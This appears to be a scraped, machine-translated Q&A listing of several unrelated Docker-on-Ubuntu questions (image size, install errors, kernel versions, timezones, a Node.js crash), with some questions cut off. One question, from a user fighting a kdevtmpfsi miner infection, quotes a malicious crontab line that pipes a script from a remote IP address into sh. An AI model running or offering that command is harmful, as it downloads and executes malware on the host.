我正在尝试减少我的 Ubuntu docker 映像的占用空间。鉴于 man 文件几乎没有用处,我删除了它们,提交了图像,然后尝试使用它。AFAICT它没有伤害。但是,我认为值得在这里询问。通过这样做,我是否为未来存储了任何丑陋的问题?
这些是Docker 的安装说明
设置 GPG 密钥和先决条件后,它基本上包括:
.deb从发布页面获取(最新)版本sudo apt install ./docker-desktop-<version>-<arch>.deb我收到以下错误:
Reading package lists... Done
Building dependency tree
Reading state information... Done
Note, selecting 'docker-desktop' instead of './docker-desktop-4.8.1-amd64.deb'
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the …Run Code Online (Sandbox Code Playgroud) 如何更改 docker 保存容器的 Docker 数据目录(或 lxc 保存容器的位置)?我的服务器中有一个 ssd 和一个硬盘驱动器,我希望容器可以保存在硬盘驱动器上。谢谢
我有一个从 Ubuntu 14.10 构建的 Docker 容器。当我登录到容器检查 Ubuntu 版本和内核版本时,我看到以下内容:
root@~$>> lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.10
Release: 14.10
Codename: utopic
root@~$>> uname -a
Linux ambiata-aws 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:30:00 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
Run Code Online (Sandbox Code Playgroud)
我认为Ubuntu的14.10应该是内核版本3.16(为说明这里),所以为什么我的内核版本3.13.0-24泛型?
我问的原因是因为我想要在 3.13.0-29-generic 中有一个补丁(即,在我的 docker 容器中使用 fallocate 处理 AUFS),这在这里讨论。
有人知道它是否存在最新 Ubuntu 版本 19.10 的某些 ppa 包源,当我从 Ubuntu 19.04 升级到 19.10 时遇到了问题,我没有工作?
我的 Ubuntu 服务器已经被病毒 kdevtmpfsi 感染,我已经做了几个步骤来解决这个问题,比如所有这些:https : //github.com/docker-library/redis/issues/217。
但是当带有 redis 的 docker 容器运行时,它仍然一次又一次地出现。
但是还有一件事我不能做,当我运行命令for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done查看所有用户 crontab 时,这是我的输出:
no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis
Run Code Online (Sandbox Code Playgroud)
crontab 中有一个wget用于下载sh脚本的可疑作业,我找不到如何删除它,而且我不确定当我使用 redis 打开 docker 容器时这是否会再次出现。
看看上面的图片,运行这个病毒的“用户”是一个用户“999”我不知道这是怎么可能的,因为这个用户不存在。
我能做些什么来解决这个问题?
我在 Ubuntu 20.04 中安装 docker 时遇到问题。
wolf@linux:~$ sudo apt install docker.io
Reading package lists... Done
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:
The following packages have unmet dependencies:
docker.io : Depends: containerd …Run Code Online (Sandbox Code Playgroud) 如果不是就在我面前,我都不会相信。
所以这显然是一个老主机,我什至不是在寻找解决方案,只是告诉你我所看到的,这样下一个可怜的灵魂在谷歌上搜索这些废话就不会感到那么孤独。
docker run -ti ubuntu:22.04 /bin/bash
# apt update; apt install nodejs
...
E: Problem executing scripts DPkg::Post-Invoke 'rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true'
E: Sub-process returned an error code
root@f0bb472a2a44:/# nodejs
nodejs[2608]: ../src/node_platform.cc:61:std::unique_ptr<long unsigned int> node::WorkerThreadsTaskRunner::DelayedTaskScheduler::Start(): Assertion `(0) == (uv_thread_create(t.get(), start_thread, this))' failed.
1: 0x7f620e2893cc node::Abort() [/lib/x86_64-linux-gnu/libnode.so.72]
2: 0x7f620e28945b [/lib/x86_64-linux-gnu/libnode.so.72]
3: 0x7f620e30bde2 node::WorkerThreadsTaskRunner::WorkerThreadsTaskRunner(int) [/lib/x86_64-linux-gnu/libnode.so.72]
4: 0x7f620e30bf16 node::NodePlatform::NodePlatform(int, v8::TracingController*) [/lib/x86_64-linux-gnu/libnode.so.72]
5: 0x7f620e2542c8 node::InitializeOncePerProcess(int, char**) [/lib/x86_64-linux-gnu/libnode.so.72]
6: 0x7f620e2544ac node::Start(int, char**) [/lib/x86_64-linux-gnu/libnode.so.72]
7: 0x7f620d7c2d90 [/lib/x86_64-linux-gnu/libc.so.6]
8: 0x7f620d7c2e40 __libc_start_main [/lib/x86_64-linux-gnu/libc.so.6]
9: …Run Code Online (Sandbox Code Playgroud) 目前在 Ubuntu 16.04 LTS 上,尝试使用 Docker 拉取映像
我正在尝试安装已集成到 OSS-Fuzz 中的 AFLGo,并且我一直停留在第 2 步最长时间。shell 脚本应该从 docker 中提取所有图像以安装 AFLGo 但由于某种原因,无论我尝试什么,我都会收到此错误消息
码头工人信息:
uia65408@igl1534u:~/oss-fuzz$ docker info
Containers: 1
Running: 0
Paused: 0
Stopped: 1
Images: 10
Server Version: 17.06.0-ce
Storage Driver: aufs
Root Dir: /var/lib/docker/aufs
Backing Filesystem: extfs
Dirs: 9
Dirperm1 Supported: true
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
Volume: local
Network: bridge host macvlan null overlay
Log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog
Swarm: inactive
Runtimes: runc …Run Code Online (Sandbox Code Playgroud) 场景:我正在尝试在基于 Ubuntu 18.04 docker 映像的 docker 容器上设置时区。只需拉取镜像并更新即可
> apt-get -y update
Run Code Online (Sandbox Code Playgroud)
错误:
运行时
> timedatectl
Run Code Online (Sandbox Code Playgroud)
我明白了
> timedatectl: command not found
Run Code Online (Sandbox Code Playgroud)
问题:如何安装timedatectl?
到目前为止我尝试过的:我尝试按如下方式安装 timedatectl
> apt-get -y install timedatectl
> Unable to locate package timedatectl
Run Code Online (Sandbox Code Playgroud)
谢谢